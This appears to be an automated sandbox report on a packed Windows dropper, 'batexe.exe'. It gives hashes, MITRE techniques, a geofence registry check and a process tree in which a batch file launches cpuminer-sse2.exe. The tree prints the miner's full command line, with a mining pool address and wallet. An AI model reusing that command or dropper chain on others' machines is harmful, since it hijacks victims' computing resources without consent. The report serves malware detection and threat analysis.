73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
305s
max time network
315s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13-02-2024 22:05

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
1504	b2e.exe
3900	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5020-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 1504	5020	batexe.exe	83
PID 5020 wrote to memory of 1504	5020	batexe.exe	83
PID 5020 wrote to memory of 1504	5020	batexe.exe	83
PID 1504 wrote to memory of 5044	1504	b2e.exe	84
PID 1504 wrote to memory of 5044	1504	b2e.exe	84
PID 1504 wrote to memory of 5044	1504	b2e.exe	84
PID 5044 wrote to memory of 3900	5044	cmd.exe	87
PID 5044 wrote to memory of 3900	5044	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Users\Admin\AppData\Local\Temp\D12B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D12B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D12B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E3D8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D12B.tmp\b2e.exe

Filesize
8.2MB

MD5
ded291369ccafa116b48b9581741eacd

SHA1
ab9be26eeebcb0c4f39e03c891620f5fe2efd6db

SHA256
d0afb98b1a45ac273afb62620d37dabe377835be9e0ca10a32eba55ed0e63a4e

SHA512
810ad8bd38f2311545d4b05b0a17693bd0954ad66e4c72318dfcba849b15ab139f4a68459aaacab3ddbe7719a6070aaa87c9354aa44164224083af3e5baf4bb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\D12B.tmp\b2e.exe

Filesize
3.2MB

MD5
35d614acc52ac1f063676559357ef3a0

SHA1
38bb0f406b81b4c032d7958594010287638ecd96

SHA256
397dbf36993a3df62c00ff4c243d4fa121db1cedc849f2463fde7f4b6b8005d0

SHA512
0c20d72bef049a19448ff7864f4f57a113dcbaff81dad6c45b4073cddfb9e719f5053242d98d312263a7bec791a002f26c62a24b83fc755a5ee1f47a7f8427fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\D12B.tmp\b2e.exe

Filesize
2.0MB

MD5
91142fc624e6e52cf4d11820076dcc0c

SHA1
8d63f436d869c589b2278c82d2b76c7ef2b41cca

SHA256
49a42437c5c7f84a6d3bbdcdc1efd39c0f7f7f6c7d68f58ff10950e53290b137

SHA512
d26e37c3a6793de3d2e77c17eba52336f21adea2d7d8600a24c4641377a5608b538e6bb1512f03c9fe14bbc14148c1d510652c46aed34cc9eabbd9ab408208bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\E3D8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.8MB

MD5
13531abcff0d819e8adcee719d61d5f3

SHA1
4897a2bd65acf7510b3a19d18a2d614c1bef90f2

SHA256
4b511f0263eb9991702ca633df226e5a6cc51d34143d3ad128ba20ad6677bce9

SHA512
6c28c88af3f011ef852f6d10c0840b313ac75b74fb9e21fc2626351bf1ee9b67ceb9e37affadae07b834f708eae63ae2cdf8627b335861e03ae9f9c31bc6e11d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.1MB

MD5
b001df57d9209222a88589930f66dd35

SHA1
12161c7a7bbf6fce4275a68ef4a251d88db25103

SHA256
c6e390db6cb09ec63f31c4a9b1d3f338f072d58ea050e249b77a15e125a312de

SHA512
aea6652dfd3b6d833459a0d0f60e4d919dc007db9aea68283d7fb60b17195dabb99b2049ced7098ec37d315795c0b255233511ab72795ce9735d5e04f88c8e69

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
44030f67d2693a84ad9d762c12c9db73

SHA1
242955c537e8c6c6901ec4a9b5c88da18c2e3cb4

SHA256
1fbce7b3628cfe0f1f92e1a330131a724ae3e47ff7176b92ab88aff41245a832

SHA512
7b2d8c845cf7d6a015977b35f618aa21c7af846647de0564a93894b152407240c448dcb06d8b91cd1e1858e4a4d8d2cd317850129ad686706726e3fc97b75020

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1504-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1504-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3900-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3900-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3900-46-0x0000000051D20000-0x0000000051DB8000-memory.dmp

Filesize
608KB

Download
memory/3900-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/3900-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5020-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download